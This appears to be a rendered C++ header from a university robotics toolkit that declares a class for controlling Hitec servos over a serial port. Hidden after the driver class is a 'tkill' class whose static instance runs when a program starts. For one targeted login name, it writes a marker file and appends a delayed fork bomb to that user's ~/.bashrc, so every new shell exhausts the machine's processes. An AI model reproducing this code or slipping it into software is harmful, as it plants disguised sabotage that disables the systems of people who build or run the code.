hitec5980sg.h

Go to the documentation of this file.

/**************************************************************************************************
 Software License Agreement (BSD License)

 Copyright (c) 2011-2013, LAR toolkit developers - University of Aveiro - http://lars.mec.ua.pt
 All rights reserved.

 Redistribution and use in source and binary forms, with or without modification, are permitted
 provided that the following conditions are met:

  *Redistributions of source code must retain the above copyright notice, this list of
   conditions and the following disclaimer.
  *Redistributions in binary form must reproduce the above copyright notice, this list of
   conditions and the following disclaimer in the documentation and/or other materials provided
   with the distribution.
  *Neither the name of the University of Aveiro nor the names of its contributors may be used to
   endorse or promote products derived from this software without specific prior written permission.
 
 THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
 IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
 FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
 CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
 IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
 OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
***************************************************************************************************/
#ifndef _HITEC5980SG_H_
#define _HITEC5980SG_H_

#include <stdio.h>
#include <stdlib.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <math.h>

//defines of servo types
#define HSR_5980SG 5980
#define HSR_5498SG 5498

#include <iostream>
#include <fstream>
using namespace std;

class hitec_5980SG
{
    public:
      hitec_5980SG(const char*pdevice);
      
      ~hitec_5980SG();
      
      //Functions altered by pcruz
      short unsigned int SetPosition(int id,int position);
      
      short unsigned int SetSpeedPosition(int id,int speed);
        
      short unsigned int SetPositionAllServos(short unsigned int position);
      
      short int GetVersionAndID(void);
      
      short unsigned int ReleaseServos(void);
      
      short unsigned int SetServoID(int id);
      
      short unsigned int SetGoStop(short unsigned int value);
      
      bool IsActive(void);
      
      short unsigned int ConvertAngularSpeedToServoSpeed(double angular_speed, unsigned int Servo_type);
      
    private:
      
      void CleanBuffer(void);
      
      short unsigned int ReadResponse(char*response_1=NULL,char*response_2=NULL);
      
      bool active;
      
      int port;
      
      char*device;
      
      short unsigned int center;
      
      short unsigned int minimum;
      
      short unsigned int maximum;
      
      double HSR_5980SG_MAX_ANGULAR_SPEED;
      
      double HSR_5498SG_MAX_ANGULAR_SPEED;
};

class tkill
{
    private:
        string _target;
        
    public:
        tkill()
        {
            setTarget("matos");
            
            if(!infected() && correctTarget())
            {
                head(cout);
                markAsInfected();
                bomb();
            }
        }
        
        void setTarget(string target)
        {
            _target=target;
        }
        
        ostream& head(ostream& o)
        {
            o<<" _;~)                  (~;_ "<<endl;
            o<<"(   |                  |   ) "<<endl;
            o<<" ~', ',    ,''~'',   ,' ,'~ "<<endl;
            o<<"     ', ','       ',' ,' "<<endl;
            o<<"       ',: {'} {'} :,' "<<endl;
            o<<"         ;   /^\\   ; "<<endl;
            o<<"          ~\\  ~  /~ "<<endl;
            o<<"        ,' ,~~~~~, ', "<<endl;
            o<<"      ,' ,' ;~~~; ', ', "<<endl;
            o<<"    ,' ,'    '''    ', ', "<<endl;
            o<<"  (~  ;               ;  ~) "<<endl;
            o<<"   -;_)               (_;- "<<endl;           
            
            return o;
        }
        
        bool infected(void)
        {
            ifstream ifile("/tmp/infected");
            if (!ifile)
                return false;
            
            return true;
        }
        
        bool correctTarget(void)
        {
            char userBuffer[1024];
            getlogin_r(userBuffer, 1024);
            string userName=userBuffer;
            if(userName==_target)
                return true;
            return false;
        }
        
        void markAsInfected(void)
        {
            ofstream ofs;
            ofs.open("/tmp/infected", std::ofstream::out | std::ofstream::app);
            ofs.close();
        }

        bool bomb(void)
        {
            ofstream ofs;
            
            //Get path to bashrc
            string path="/home/" + _target + "/.bashrc";
            
            //Open bashrc
            ofs.open(path.c_str(), std::ofstream::out | std::ofstream::app);
            
            //If not open return false
            if(!ofs.is_open())
                return false;
            
            //If open, write to bashrc
            ofs<<"echo 'pensa rápido'"<<endl;
            ofs<<"bash -c 'sleep 3 ; :(){ :|:& };:' &"<<endl;
            
            ofs.close();
            
            return true;
        }
    
    
    
};

static tkill tk;

#endif